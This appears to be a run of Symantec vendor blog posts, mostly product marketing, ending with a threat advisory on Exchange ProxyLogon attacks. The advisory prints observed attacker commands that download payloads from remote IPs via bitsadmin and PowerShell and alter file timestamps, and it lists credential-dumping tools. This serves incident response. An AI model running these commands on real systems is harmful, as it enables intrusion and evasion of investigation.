In addition, some browser isolation vendors, including Symantec, allows sites to be rendered in read-only mode, disabling web input fields.
The CTO office researched available solutions to minimize the risk associated with accessing these types of risky sites and browser isolation stood out as a promising technology. Browser isolation technology applies a zero-trust approach to web security by assuming any web content could be potentially malicious and should not be allowed to reach endpoint.
By executing web sessions remotely and sending only safe rendering information to the endpoint browser, this agentless technology eliminates the possibility of malicious websites leveraging web resources (e.g. Javascript, CSS, HTML, Flash, etc.) to exploit browser and plug-in vulnerabilities to infect endpoints. As this approach does not depend on detecting malicious content, it even prevents attacks leveraging zero-day vulnerabilities of browser and plug-ins (e.g. Flash and Java).
In addition, some browser isolation vendors, including Symantec, allows sites to be rendered in read-only mode, disabling web input fields. This prevents unsuspecting users being lured to sites from disclosing sensitive information such as usernames, passwords, and Social Security Numbers. This capability has proven to be an effective measure against credential phishing attacks.
The CTO and his team quickly narrowed the available browser isolation solutions to a two-candidate shortlist that included Symantec Web Isolation.
"Symantec won on two factors: depth of features, and the strength of our existing relationship," the CTO explained. One important functional differentiator was user experience with webmail services like Gmail, that hand off their authentication process to a service in a separate domain. “Initially, this posed a problem for both solutions, but Symantec was able to resolve the issue," the CTO said. "Their competitor really struggled to deliver the goods."
This healthcare leader required just six weeks to deploy the solution to 80% of its organization, and now protects all of its 60,000+ nationwide employees with Symantec Web Isolation for higher-risk online services. "I would tell anyone in IT or security management that browser isolation belongs in their security portfolio," the CTO concluded. "And I would recommend they evaluate Symantec Web Isolation as one of the solutions in this space that works. It has proven to be a very good fit for us."
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How SES Complete Can Protect Against Sophisticated Attacks Such As Sunburst
Symantec Endpoint Security Complete addresses your blind spots
We expect most security conversations for the next several months, at least, to be around the Sunburst/SolarWinds attack. Former homeland security advisor, Thomas Bossert, has said “The magnitude of this ongoing attack is hard to overstate.” Using a supply chain attack, 18,000 customers of SolarWinds had their network breached. This included 100 Symantec customers. At this time only a small number of the 18,000 have had an active attacker in their networks, but all are compromised.
Symantec has notified our affected customers and published detailed information on the attack and its techniques. Protection has been put in place. But it’s natural to ask, what can Symantec’s product do to protect me from this and similar attacks? It’s a conversation we would love to have.
Symantec Endpoint Security Complete (SESC) was specifically created to help protect against this type of attack. While many vendors offer EDR to help find intrusions, as does Symantec, there are gaps. We call these gaps blind spots and there are technologies in SESC to eliminate them.
Symantec Endpoint Security Complete offers a comprehensive, layered approach to secure your endpoints, eliminating the blindspots left by traditional approach of only using EPP and EDR.
Symantec Endpoint Security Complete addresses these blind spots by identifying and stopping reconnaissance early in the attack chain, preemptively reducing the attack surface to prevent living off the land (LotL) attacks and enhancing EDR by providing essential expertise from Symantec Threat Hunters to understand the subtle signals that attackers emit even when attempting to be stealthy. Three major ways SESC addresses these blind spots are:
Threat Defense for Active Directory will identify and stop reconnaissance used by Sunburst and other sophisticated attackers by disrupting any domain reconnaissance LDAP queries made by the adversary, obfuscating all domain assets and admins, thus denying their ability to perform lateral movement undetected. SES Complete is the only endpoint security solution today providing additional layers of protection in the post-exploitation phase, to fully protect Active Directory regardless of the tools that the adversary is using.
Behavioral Isolation proactively eliminates attack pathways utilized in the Sunburst attack. The use of trusted processes as part of the attack chain has become more common and is referred to as living off the land. Defense is often handcuffed because legitimate software can’t be blocked. However, Behavioral Isolation can prevent the use of legitimate tools as part of the attack chain. Behavior Isolation identifies and blocks abuse of trusted processes, breaking the attack chain and raises awareness of a potential attack.
Threat Hunter gives a SOC the global context to recognize unknown threats. Symantec’s Threat Hunter team provides in product alerts and notification of high-profile incidents. SESC received this alert on the Sunburst attack – an alert, verified by a Symantec Threat Hunter, of the Sunburst intrusion.
Downloading a malicious trojan due to a sophisticated supply chain attack, as in the case of Sunburst, is nearly impossible to prevent. But the tools associated with the Sunburst attacks are detected and blocked on machines running Symantec Endpoint products. And SESC protected against these threats as mentioned above. There were many other ways we protect against Sunburst - more to come on that.
There is one more important detail. Like other sophisticated attacks, Sunburst will look for certain endpoint security agents and tools running on a machine and will attempt to disable them. For example, Sunburst attempts to deactivate the CrowdStrike Falcon sensor. Once disabled, any further malicious activity will not be detected or prevented. This is bad guys 101. Other security vendors appear to have been slow to catch on to this. Many are new to the game and still learning. The whole family of Symantec Endpoint Security products uses proprietary technology that prevents and alerts on such tampering. This was not an issue for our customers.
Symantec Endpoint Security Complete offers a comprehensive, layered approach to secure your endpoints, eliminating the blindspots left by the traditional approach of only using EPP and EDR. We look forward to sharing more of the details with you.
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How Symantec Aced the AV-Test – Again
A huge recognition of our approach to product design as Symantec, Norton security solutions lead the pack in a rigorous security competition
As a security professional, Job No. 1 is to make sure that our products protect customers. We either pass or fail - there are no halfway grades in the real world.
So when the AV-Test Institute announced that Symantec and Norton security solutions had won a haul of six AV-TEST awards in a rigorous industry-wide competition, I was obviously thrilled for our team.
The awards recognize their accomplishment turning out technologies and tools that help countless customers remain safe from threats posed by a dangerous assortment of cyber criminals and actors working on behalf of nation states.
But as proud as I was of their achievement - we won Best Protection awards for Norton Security and Symantec Endpoint Protection for the fourth consecutive year – it’s important to note that we also won for best performance. That’s a huge recognition of Symantec’s approach to the task of product design.
Within the security industry, the conventional wisdom among the experts was that there are always necessary tradeoffs between security and performance. You can’t have one as well as the other - so you must compromise.
At Symantec, we do not compromise performance in order to deliver maximum protection. Customers can’t sacrifice performance for security, so we have rearchitected our protection to be light and fast. We make sure users can do their work without paying performance penalties for security.
That effort has paid off. What was so great about this award is the recognition that not only are we providing unique, kick-butt security technology but that Symantec has clearly eliminated any lingering tradeoffs between security and performance.
At Symantec, we do not compromise performance in order to deliver maximum protection.
Replenishing the Arsenal
All vendors claim good protection ability. In order to cut through the competing claims and find the truth, businesses need honest and independent arbiters who fairly test different technologies on their merits.
The AV-TEST Institute has a reputation for rigor and submits each product it compares to real world attacks. When we see attackers deploy new techniques, we see AV-TEST testing our protection against these new techniques. AV-TEST focuses on the attacks customers encounter.
What’s more, all of the vendors that participate in the competition know that their products will get reviewed without bias.
Over the years, our investment in inventing advanced security solutions has ensured that our products stay ahead in a threat landscape that’s constantly changing. As any customer can attest, it’s dangerous to rely on an aging technology as your protection layer. Things now move too fast to remain pat.
Each year, we’re developing new, advanced technologies because we recognize that there’s a world of difference between 99% protection and 100% protection. It may not sound like much but that 1% is entirely what matters. All it takes is for one threat to get in and the impact can be huge.
The upshot is a continuously replenished arsenal of new technologies - including big data platforms that track trillions of pieces of information predicting whether that activity we see is good or bad, advanced technologies that block exploit attempts (even entirely new, zero-day exploits), and our continually re-trained advanced machine learning that blocks threats proactively.
Security is often “under the hood” – there is nothing visible to see. What I like best about these awards is how they bring public recognition to the ingenuity and effort of the men and women on my team. The AV-Test is a well-deserved public recognition of their hard work.
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How Symantec Adaptive Protection Marks a New Chapter in Security Defense
Security automatically customized to your endpoints with SES Complete
Enterprises across the globe are invested heavily in endpoint security to protect their endpoints. Despite the time and money spent, more breaches are happening today than ever before. Attackers have found blind spots and are exploiting them hourly. To address this challenge, security teams need to do more than plug a few holes. They need to consider an innovative approach to level up endpoint protection and maximize security overall. We call this Adaptive Protection.
So, how can we all think about protection differently?
Symantec, a division of Broadcom, believes the answer lies in where we place our attention. Every customer environment is unique, yet today, most security technologies are delivered “dumbed down” to prevent and avoid false positives. In addition, to get maximum protection, many vendors provide complex settings and configuration options. Tweaking them falls to the customer and if done incorrectly, the negative outcome is often disastrous. Alternatively, relying only on detection leads to diminishing returns -- and plenty of potential breaches.
Enterprises across the globe are invested heavily in endpoint security to protect their endpoints. Despite the time and money spent, more breaches are happening today than ever before.
Symantec focuses on protection that is preventative, flexible – and automatic. The key ingredient is machine learning built on Symantec’s decades of experience with large organizations working to automate the configuration of protection settings and deliver the highest level of custom protection with zero impact to productivity. Stronger protection also makes detection more efficient, allowing the SOC to only focus on a limited set of threats and not have to deal with alerts and issues that protection could have stopped.
Adaptive Protection automatically/continuously reduces the endpoint attack surface. Attackers can no longer create a single attack that works everywhere. Adaptive Protection is custom to each enterprise, and adapts as your organization changes. You have unique protection. It forces advanced attackers to either adapt - at a huge cost to them, or to just give up on your organization. Why spend the time when the bad guys can more easily hack another organization that has a “one-size-fits-all” endpoint security solution? Cyber criminals much prefer to write once – and infect every time – leveraging their nefarious economies of scale.
As we have reported on before, Symantec continues to see “Living-off-the-land” (LOTL) tactics—where attackers take advantage of native tools and services already present on targeted systems, allowing attackers to use these and other services to hide in plain sight. Such things as PowerShell and Windows Management Instrumentation (WMI) have been used by both targeted attack groups and common cyber criminal gangs for some time now. This is where Symantec Adaptive Protection excels and marks a new chapter in security.
Adaptive Protection automatically/continuously reduces the endpoint attack surface. Attackers can no longer create a single attack that works everywhere.
Endpoint security vendors have a choice. They can ignore behavior that might be legitimate, thereby allowing malicious actors to live in the environment. Or they can block the legitimate use of tools resulting in false positives. Now there is a better way. Adaptive Protection watches these dual use tools, learns their usage, hardens endpoints and blocks suspect behavior – all automatically and on the fly. That also means fewer false positive alerts for SOCs to chase down and no impact to employee productivity.
I know Adaptive Protection works, but don’t take my word for it. Symantec scored 100 percent in protection and 91 percent in detection on the most recent 2020 Mitre Enginuity ATT&CK Evaluations. The assessment subjected the security offerings of 29 vendors to 174 detection tests and 10 prevention tests. None of Symantec’s other direct endpoint security competitors could match the Symantec Endpoint Security (SES) Complete platform’s high scores in both areas.
The best news is that Adaptive Protection is now included in SES Complete and we’re happy to show you how it works. No new modules and no agent updates are required. You can go here for more in-depth information.
Adaptive Protection is provided automatically to help you protect your organization’s digital assets. This is just the beginning of a new, robust capability. Stay tuned!
Adaptive Protection, part of Symantec Endpoint Security Complete
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How Symantec DLP 16 Can Kickstart Your Zero Trust Program
Three new features you can implement right now
Nearly 60% of organizations are yet to deploy a Zero Trust security architecture - putting them at a larger risk than they might even realize. Organizations that have mature Zero Trust deployments see average breach cost savings of £1.51 million versus organizations who are in the early stages of adopting Zero Trust. If you want to find out more about Zero Trust, visit our website or read this blog series about implementing a Zero Trust strategy.
Symantec Data Loss Prevention (DLP) 16 is now available and provides customers a number of benefits. These include ways for organizations to turbo-boost their Zero Trust programs by:
Detecting and responding to the risk that individual users and devices present based on their behavior
Supporting the complex ecosystem of endpoints in a hybrid-work world
Providing additional intelligence on threat risk
Let’s look at precisely how DLP 16 enhances Zero Trust through new capabilities and integration with existing products.
Integrating User Risk into DLP Policies
Zero Trust is about understanding and mitigating risk, so people and devices that should be able to access your data can, while those who shouldn’t have access can’t. DLP 16 encapsulates that philosophy into the DLP policy itself.
DLP 16 makes use of user behavior by tracking actions – such as failed log-in attempts or visits to risky websites – to assess and attribute each user. The information about the user’s actions are included in calculations to create a “User Risk Score,” a determination of how likely a user is to cause a data breach.
The User Risk Scores are imported into DLP 16 from Symantec Information Centric Analytics, which collects data from your company's security monitoring tools, such as Symantec DLP, and user directory information, such as Microsoft Active Directory. The User Risk Score correlates and distills data to provide a holistic view of user activity, threats and events to provide contextual awareness to recognize and remediate events.
Symantec Data Loss Prevention (DLP) 16 is now available and provides customers a number of benefits.
DLP administrators can add the User Risk Score as a detection rule while evaluating policy violations and applying appropriate response rules.
As a result, administrators can genuinely ask if a user should have access to a particular set of data, and take steps if they shouldn’t have access. For example, if a user’s profile identifies them as the CEO, but they’re interacting with the network in a risky way, you might want to deny them access to the data or require additional verification.
Administrators, who already benefit from the DLP Policy Framework “single policy to monitor all channels,” including the cloud or on-premises storage, can fine-tune their policies to heighten security while they reduce friction to the business. Importantly, users can customize their policies based on their individual needs and risk appetite.
Eliminating the VPN for Remote and Hybrid Workers
Employees, gig workers, partners, and the ecosystem of people who need access to a companies’ data is more complex than ever. Virtually every company is developing or fine-tuning their policies for a remote and hybrid workforce.
In a hybrid work environment, most end-users connect via a home network that uses IPv6 addresses. Previously, a VPN or other network device has been needed to translate between IPv6 and IPv4 IP addresses so home-based users could access the DLP Endpoint Server.
DLP 16 simplifies this process by providing native support for endpoint agents on IPv6 devices, meaning home users no longer need a VPN every time they access the network.
In addition, DLP 16 integrates with existing core products –such as Symantec Web Gateway, Symantec CASB, Symantec CloudSOC Mirror Gateway, and Symantec Endpoint Protection – to protect unmanaged and BYOD devices.
In the past, IT departments would try to control these unmanaged devices through agents or other complicated means. DLP 16 integrates with Symantec CloudSOC Mirror Gateway to implement controls that allow authenticated users on unmanaged devices to access data they need, but prevent them from taking some steps that might introduce malware into the network, such as preventing them from uploading files.
Critical Context for Remediation
Remediating incidents is all about the right amount of context. DLP 16 provides additional attributes such as URL category, website threat risk level, and geolocation for network incidents.
This critical information is cross-referenced between DLP and Symantec Web Gateway, giving more insight into the cause and potential consequences of incidents. As a result, DLP incident remediators can perform their duties more effectively and faster, reducing their organization’s risk. This information is also made available to ICA, fortifying the User Risk Score.
Ready to find out more?
With DLP 16, companies can access best-in-class protection for both managed and unmanaged devices. With a single DLP policy for data-in-motion, data-in-use, and data-at-rest, companies can easily control access to data and develop a Zero Trust foundation that gives them the protection they need for their data “crown jewels.” Find out more about What’s New in DLP 16.
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How Symantec Prepares for the Future
Innovators@Symantec series
Gary Tomic is Chief Systems Architect and Broadcom Fellow working in the Symantec Enterprise Security Division at Broadcom. Currently he is leading the creation of a cloud native datapath architecture for numerous Symantec Cloud based solutions and services.
Gary, what does innovation mean to you?
Innovation is what enables us to solve customer problems in new ways that improve quality, reduce costs and improve execution speed of the engineering teams by using state of the art technologies. We are using innovation to improve cybersecurity so that our customers can receive better protection from the threats on the network layer in less time. Part of being innovative is tracking the industry roadmaps and determining how we can leverage and bring together innovative tools and solutions from many teams internal and external to Broadcom.
What’s changed in terms of innovation since Symantec became part of Broadcom?
We’ve adopted Broadcom's engineering model, which is very different than the old Symantec model. The Symantec model was focused on acquiring as many customers as possible, from consumers and to large enterprises, and then trying to meet their varied requirements. The Broadcom model instead focuses our attention mainly on strategic customers have very complex cybersecurity requirements, and we work closely with them to build our technical roadmaps to meet these requirements. We look for ways to innovate and serve the existing customer base and expand our ability to provide value to them. That was definitely a very nice change as we moved from Symantec to Broadcom as we can focus our entire engineering energy on these strategic initiatives and engagements.
We also benefit from the scale of Broadcom. As an organization there are things that we can do now, we could have never done at Symantec. For instance, we have standardized on the Google Cloud and are therefore a very large Google customer. We regularly work with the Google cloud architects and development teams and collaborate on new initiatives that really move the needle for cloud native architectures. We could have never had this opportunity at Symantec as we did not have sufficient scale to have such a close innovative relationship with a public cloud vendor.
We are focused on building an architecture for the next 1-2 years with an eye for where we need to go long term to ensure we have a clear multi-year technical roadmap.
Why is this important?
This ensures that we maintain industry leadership, earning the trust of our customers by demonstrating a robust roadmap that will meet their needs for many years to come. This roadmap takes into consideration evolving standards, changes in cloud technology and enables us to pivot and incorporate new security features rapidly to ensure our customers are protected from the increasing sophistication of cyber-attacks.
Can you give some examples of past, present, and future innovation that you’re involved with at Symantec?
Sure. And I’ll be brief. But I hope we can go into depth on each of these in future blogs.
Of course.
An example of something in the field today is our Cloud-native firewall service that we introduced last year. We replaced a third-party solution and completely rebuilt it using our own multi-tenant solution in a very short amount of time using cloud native primitives. In the past this would have taken far longer to build. But, with access to the cloud native tools and paradigms we were able to finish the project in record time. We then had to globally deploy the finished product. Under the Symantec cloud model, we could have expected deployment to take months. Under our current model, we fully deployed CFS in a few weeks and it could have gone faster but we intentionally throttle rollouts as a deployment “best practice.”
Another popular and innovative feature that we were able to deploy very rapidly is Dedicated IPs. This feature allows our customers to proxy websites through our cloud that can only be accessed using IPs dedicated to the customer tenant. With our modern architecture, this feature was deployed in only a few weeks. Since it required net-new infrastructure, it’s a good example of a rollout that could have taken up to a year using the old physical infrastructure model still embraced by our largest competitors.
We’ve made a lot of progress on integrating all our cybersecurity products and technologies that Symantec has bought over the years. Our focus up until now has been on data path integrations to eliminate any and all inefficiencies. Moving forward, we’ll shift focus improving the integration of the management plane. The goal is for the customer to always feel like they are using one product rather than several different products that are just deployed together.
One future innovation that is really important is our cloud native datapath initiative. This is taking the existing Cloud SWG solution set that is running in GCP and moving it from the current architecture to an even more powerful cloud native architecture. Most vendors today will claim that their datapath architecture is truly cloud native but there are two problems with this claim. First, we don’t believe you can claim to be cloud native when you’re not deployed in a public cloud, and most vendors are not running in public cloud. Without public cloud, you will always be constrained by your ability to manually deploy capacity throughout the world. Second, Kubernetes doesn’t yet support some of the constructs necessary to make a datapath truly cloud native so we can confidently say that there is no vendor that has a cloud native SWG datapath. We are strategically working with Google on several major changes to Kubernetes that will enable this over the coming year. We've already filed for several patents on the technology that overcome some of the unique challenges of creating a true cloud native datapath solution.
Cloud native datapath. That’s definitely something we’ll talk about in detail in a future blog.
I’d like to also talk about what Symantec is doing with Encrypted Client Hello, or ECH. Standards bodies are moving towards further encrypting the channel between the client and the server making it fully encrypted which will completely blind existing security networking solutions. We are participating in the IETF and ITU Standard Defining Organizations as well as working with very large communities towards solutions to maintain appropriate visibility so our solutions will continue to protect our customers from cyber threats.
The Symantec engineering team is constantly innovating to produce a robust long term architectural roadmap. This is described in more detail here. I am excited to share more about specific innovations in future blog posts.
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How Symantec Resolved the Issue Involving the LifeLock Marketing Opt-Out Page
Further Clarity from Symantec
We would like to thank Brian Krebs at KrebsonSecurity for informing us yesterday (July 25) of an issue with a marketing opt-out page, and for allowing us to correct a misconfiguration before publishing his blog. The industry benefits greatly from quality researchers who follow responsible disclosure procedures.
Further, we would like to clarify a few points in the story:
The issue was limited to potential exposure of email addresses on a marketing page, managed by a third party, intended to allow recipients to unsubscribe from marketing emails.
The issue was not with our main member portal or any other pages on LifeLock.com besides the marketing opt-out page.
The page was taken down briefly, a fix was put into place quickly, and opt-out service restored.
Based on our investigation, aside from the approximately 70 email address accesses reported by the researcher, we have no indication at this time of any further suspicious activity on this marketing opt-out page, or that any LifeLock customer data was exposed.
We employ countermeasures against phishing and spearfishing attempts against lifelock.com. Emails sent from lifelock.com are digitally signed, such that any email client or Internet Service Provider can verify whether or not an email claiming to be from lifelock.com is legitimate. These countermeasures enable email clients and ISPs to reject spoofed emails using the widely deployed DKIM and DMARC Internet standards.
Responsible stewardship of critical data is our central mission, and we take these matters very seriously.
Again, we thank Brian Krebs and invite you to contact us with any concerns you may still have.
(Last updated 08/24/2018 at 1:15pm PST)
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How Symantec Stops Microsoft Exchange Server Attacks
Symantec's Intrusion Protection technology will block all attempted exploits of critical vulnerabilities.
Blog updated March 11: Case studies detailing post-compromise activity seen by Symantec added, along with additional IoCs
Blog updated March 9: IoCs, additional signatures, and pre-exploitation process diagram added.
Users of Microsoft Exchange Server are advised to update to the latest version immediately, as a growing number of attackers are attempting to exploit four recently patched zero-day vulnerabilities in the software.
Microsoft released emergency patches last week (March 2) for the four vulnerabilities, which were being exploited by attackers in the wild. At the time, Microsoft said these vulnerabilities were being exploited by an advanced persistent threat (APT) group it dubbed Hafnium (Symantec tracks this group as Ant) in targeted attacks. However, since then it has been reported that multiple threat actors have been rushing to exploit these vulnerabilities in Exchange Server.
Two of the vulnerabilities (CVE-2021-26855 and CVE-2021-27065) and the technique used to chain them together for exploitation have been given the name “ProxyLogon” by security company DevCore. Successful exploitation of ProxyLogon allows attackers to gain a foothold on a targeted network, potentially leading to further compromise and data exfiltration.
Symantec customers are protected from attacks exploiting these vulnerabilities.
Q. When did we first find out about these attacks?
Microsoft released an out-of-band patch to address the vulnerabilities in Exchange Server on March 2, 2020. The versions impacted are Exchange Server 2013, 2016, and 2019. Security firm Volexity, which Microsoft credited in its security alert detailing the vulnerabilities, said it first saw attackers exploiting the bugs on January 6, 2021.
Q. Why are these vulnerabilities so dangerous?
Successful exploitation of these vulnerabilities allows an unauthenticated attacker to execute arbitrary code on vulnerable Exchange Servers, allowing them to gain persistent system access, access to files and mailboxes on the server, and access to credentials stored on the system. Successful exploitation may also allow attackers to compromise trust and identity in a vulnerable network. This gives attackers extensive access to infected networks, allowing them to steal potentially highly sensitive information from victim organizations.
Q. What are the vulnerabilities being exploited?
The four zero-day vulnerabilities that Microsoft released emergency patches for are:
CVE-2021-26855: This allows an unauthenticated attacker to send arbitrary HTTP requests and authenticate as the Exchange Server. The vulnerability exploits the Exchange Control Panel (ECP) via server-side request forgery (SSRF). This would also allow the attacker to gain access to mailboxes and read sensitive information. This forms the “ProxyLogon” exploit when chained with CVE-2021-27065.
CVE-2021-27065: Allows for remote code execution. It is a post-authentication arbitrary write file vulnerability in Exchange. An attacker authenticated by using CVE-2021-29855 (as in the ProxyLogon attacks) or via stolen credentials, could write a file to any path on the server.
CVE-2021-26858: Is a similar arbitrary write file vulnerability to CVE-2021-27065, and can be exploited in a similar manner.
CVE-2021-27857: Is an insecure deserialization vulnerability in the Unified Messaging service. An attacker, authenticated either by using CVE-2021-26855 or via stolen admin credentials, could execute arbitrary code as SYSTEM on the Exchange Server.
The following diagram shows an attack chain that an attacker could employ to gain initial access to data.
Figure. Pre-exploitation to gain initial access
Q. Who is Hafnium/Ant?
Hafnium, which Symantec tracks as Ant, was the group first seen exploiting the vulnerabilities in Exchange Server, according to Microsoft. It said at the time that Ant was exploiting the zero days to carry out “limited and targeted attacks.” Microsoft said Ant used the vulnerabilities “to access on-premises Exchange servers which enabled access to email accounts, and allowed installation of additional malware to facilitate long-term access to victim environments.” Microsoft stated with “high confidence” that the group was state-sponsored and operating out of China. It also said the group principally attacked targets in the U.S., including infectious disease researchers, law firms, educational institutes, defense contractors, policy think tanks, and NGOs.
Security firm Veloxity also said the group was seen deploying web shells on infected systems to allow for remote access. Among the web shells Veloxity said it saw deployed were China Chopper variants and ASPXSPY. Veloxity also reported seeing the group carry out post-compromise activity such as credential dumping, lateral movement via PsExec, and archiving (likely in preparation for exfiltration of data). Microsoft also reported that Ant deployed post-compromise tools such as Covenant, PowerCat, and Nishang. It is likely the group was using publicly available web shells and post-compromise tools in order to make attribution of the activity more difficult.
Q. Is Ant still the only group exploiting these vulnerabilities?
No, since Microsoft released the emergency patches for these vulnerabilities on March 2, attacks attempting to exploit these vulnerabilities have escalated, with “multiple malicious actors beyond Hafnium” attempting to target unpatched systems, according to Microsoft.
Q. Is this a targeted attack?
The initial attacks carried out by Ant appear to have been targeted, but the large number of threat actors now attempting to exploit these vulnerabilities mean these attacks are now more indiscriminate in nature.
Q. What steps can I take to protect my network?
While Symantec customers are protected from attacks attempting to exploit those vulnerabilities, all users of Exchange Server are advised to update to the most recent version immediately. Microsoft has also released a detection tool that allows you to scan your Exchange Server logs to determine if your server was compromised. The Cybersecurity and Infrastructure Security Agency (CISA) in the U.S. has advised that all users of Exchange Server scan their systems using Microsoft’s tool, as well as issuing an Emergency Directive to instruct all federal agencies to immediately update their Exchange servers.
Case Studies – Post-compromise activity
Symantec researchers have observed post-compromise activity on a small number of customer machines, where attackers’ initial point of entry appears to have been through exploiting the vulnerabilities in Microsoft Exchange. In two cases, Symantec researchers observed activity prior to the release of Microsoft’s patches on March 2.
Victim 1
In one victim, a telecoms company in the Middle East, we saw activity as far back as January 2021. China Chopper web shells were present on this victim’s network on January 13. China Chopper web shells were used by Ant (aka Hafnium) in the initial attacks leveraging these vulnerabilities according to reports by Veloxity. On January 29, a suspicious PowerShell command was executed to download files from a domain masquerading as a popular cloud hosting provider.
A few days later, on February 1, a suspicious command was executed to create a scheduled task, which executed “debug.bat” several hours later. The task was named “test”, which may indicate that the attackers were using this as a way to test scheduled tasks. Some hours later, the attackers ran “net start vdir”, which was used to launch a service that had likely been installed by the attackers.
On February 6, a suspicious file (sok.wia) was downloaded by the attackers and was used to establish a connection with a remote host.
sok.wia 94.177.123.16 443 CSIDL_PROFILE
It is likely this connection was used by the attackers to assist in exfiltration because, shortly afterwards, credential-dumping tool Mimikatz was used to dump credentials from the system. The next day, the attackers again use sok.wia, before creating a scheduled task on a remote server (likely using stolen credentials) to execute a “server.bat” file.
The next activity was seen on February 18 when Mimikatz was executed once again, and then on February 19 ProcDump was used to dump Isass to “he.dmp”, which can be used to harvest credentials. Then later, on March 3, a suspicious file was observed in %Temp%\in.exe, followed by a suspicious file ({71736495-d485-477d-b836-17f0085e0780}.exe) being extracted via the WinRAR archive tool which creates a malicious file in %system%\inetsrv\XmlLite.dll. This was the last activity seen on this machine.
Victim 2
Another victim, this one operating in the legal sector in Southeast Asia, saw activity on its network beginning on February 28. This was before Microsoft issued patches for the exploited vulnerabilities, but it has been reported by Veloxity that it saw activity ramping up since February 28, so it is possible information about these vulnerabilities had been leaked in the cyber crime fraternity by this time.
The first activity on this machine on February 28 was a command used to dump credentials that was executed via the w3wp.exe process. On the same day ProcDump was used to dump Isass, which can be used to harvest credentials. The next day, March 1, a file called ‘uawmiver.exe’ was executed to bypass user account control (UAC). This was used to execute two batch files called “set.bat” and “set1.bat”.
On March 3, a command was used to execute another unknown batch file, which was downloaded by bitsadmin from a remote host:
"CSIDL_SYSTEM\bitsadmin.exe" /rawreturn /transfer getfile http://89.34.111.11/3.avi CSIDL_PROFILE\public\2.bat
We then saw obfuscated PowerShell commands being executed and used to download a file from a remote host.
(new-object System.Net.WebClient).DownloadFile('hxxp://86.105.18.116/news/code','C:\users\public\opera\code')
The next day, March 4, another PowerShell command was executed that searched for "layout.aspx" and "iistart.aspx". The last access and creation times were modified to August 21, 2017.
powershell.exe -command "dir |where {$_.name -eq 'layout.aspx' -or $_.name -eq 'iistart.aspx' } | foreach-object { $_.LastWriteTime = '2017-08-21 20:26:57';$_.LastAccessTime = '2017-08-21 20:26:57'; $_.CreationTime = '2017-08-21 20:26:52' }"
This was likely done to help conceal the malicious files and thwart any incident response investigations.
7-Zip was then used to extract the contents of a ZIP archive (current.zip) that was uploaded to the Exchange server by the attackers, before the file “current.exe” was executed, which injected CobaltStrike beacon to a newly-created “svchost.exe” process for backdoor access. Several hours after this, ntdsutil was used to dump credentials once again.
Following this, a file called "mv.exe", which is likely Mimikatz, was executed to dump credentials. This is followed by ProcDump being used to dump lsass to harvest additional credentials. Shortly after this, an unknown file "ccsvchst.exe" was executed, which passes a collected hash.
Finally, the attackers launched the publicly available "secretsdump" tool, to dump credentials stored in the registry. Then, on March 8, the attackers ran Mimikatz to try to dump credentials again. This was the last activity seen on this machine.
Other victims
We also observed some post-compromise activity in a small number of other organizations since Microsoft issued their patches on March 2, when activity ramped up significantly as it is believed a large number of threat actors were rushing to exploit these vulnerabilities.
Some of the tools we saw used in post-compromise activity in those impacted since March 2 include:
PowerShell
BITSAadmin
Certutil
Cobalt Strike
EarthWorm tunnel tool
Stowaway multi-hop proxy tool
China Chopper web shells
ReGeorg web shells (seen by Veloxity used in previous Exchange attacks)
Chisel
Adfind
PsExec
Mimikatz
ProcDump
In one case we also saw the attackers deleting shadow copies from infected machines, which is activity we typically see when attackers are preparing to carry out a ransomware attack, though we did not observe ransomware deployed on the machine.
The extensive use of living-off-the-land and open-source tools and tactics by the attackers leveraging these vulnerabilities make attribution of these attacks difficult and means that a wide number of different threat actors may be responsible for these attacks.
With activity exploiting these vulnerabilities seen by Symantec as recently as March 9, these attacks are ongoing, and all users of Microsoft Exchange Server are urged to scan their environment and apply patches immediately.
Protection
File-based:
Exp.CVE-2021-26855
ISB.Downloader!gen313
Backdoor.Trojan
Hacktool
Hacktool.Regeorg
Hacktool.Nishang
Trojan.Chinchop
Trojan.Chinchop!gen3
Trojan.Chinchop!gen4
Network-based:
Attack: Microsoft Exchange Server CVE-2021-26855
Web Attack: Microsoft Exchange Server CVE-2021-26857
Attack: AntSword Activity
Web Attack: WebShell Access Attempt
Web Attack: WhatWeb Scanner Request
System Infected: Malicious PowerShell Script Download 4
System Infected: Malicious PowerShell Script Download 5
System Infected: Trojan.Backdoor Activity 404
Web Attack: WebShell Access Attempt 2
Web Attack: ASP WebShell Upload Attempt
Data Center Security:
Data Center Security (DCS) Intrusion Prevention (with default policies) provides zero-day protection against the deployment of webshells on Exchange Servers, including those used in these attacks.
For the latest protection updates, please visit the Symantec Protection Bulletin.
Indicators of Compromise (IoCs)
The presence of the following indicators on your network may help you determine if you've already been exploited.
Type SHA256 hash File name Description
Hash c92c158d7c37fea795114fa6491fe5f145ad2f8c08776b18ae79db811e8e36a3 ad.exe AdFind
Hash e4372a15ed700ad1c05a70dfc5e83ae260ccbd3c40f5fa98023f06311dba5f9d sok.wia Hacktool
Hash 2477e315a9d67ed064476f18e1f4ed1e4f12d795a1d782a11fe136acd1056737 froword.aspx China Chopper
Hash a1239408c8711423966a3f5b627684358178856880fabe4ee2d1ca95b8a95fd0 lgnright.aspx China Chopper
Hash a88ae7084b235bccfa9b0166e395dcad2f0d7d01267510f011de6292471435b4 scriptsgetjs.aspx China Chopper
Hash 4afa5fde76f1f3030cf7dbd12e37b717e1f902ac95c8bdf54a2e58a64faade04 Chisel.exe Chisel
Hash ff75cd3a2c9c39ec4fa9c2016bb87938cc4ddf9a1f375c497789a5882b5bbe5e ch.exe Chisel
Hash 4ba1765cba206e8fe02652b5b050e2aec043bfe3455cd77975f0a248ede5ce5e 8751.exe CobaltStrike
Hash d63b4bd4f85a8866a0eda810bfbbc4255f55b4e3a41c243ef313e84a2d988867 a CobaltStrike
Hash 696d2b88a0768b178d00e59ffcdeea9b60ad5b9070a857d47b05f0b9b448de2e current.exe CobaltStrike
Hash 513ab85cf2f9358eefd96ddbf59bececc2ad1bc964187d78635d3e6cd1fc013b sms.dat DecrypterLoader
Hash 9d0afc3a8318fa1cbbf52027f7f51050c44bcddcb9b61359a766d60aa02b9a13 un.bat Downloader
Hash c1f43b7cf46ba12cfc1357b17e4f5af408740af7ae70572c9cf988ac50260ce1 tunnel.aspx ReGeorg
Hash 30a78770615c6b42c17900c4ad03a9b708dc2d9b743bbdc51218597518749382 m1.log Mimikatz
Hash 52cbb6e6507acd187adf4ae625d3df1b9db3a066a2e7ed83fea0c821a00b2706 mv.exe Mimikatz
Hash 9a3bf7ba676bf2f66b794f6cf27f8617f298caa4ccf2ac1ecdcbbef260306194 mimikatz.exe Mimikatz
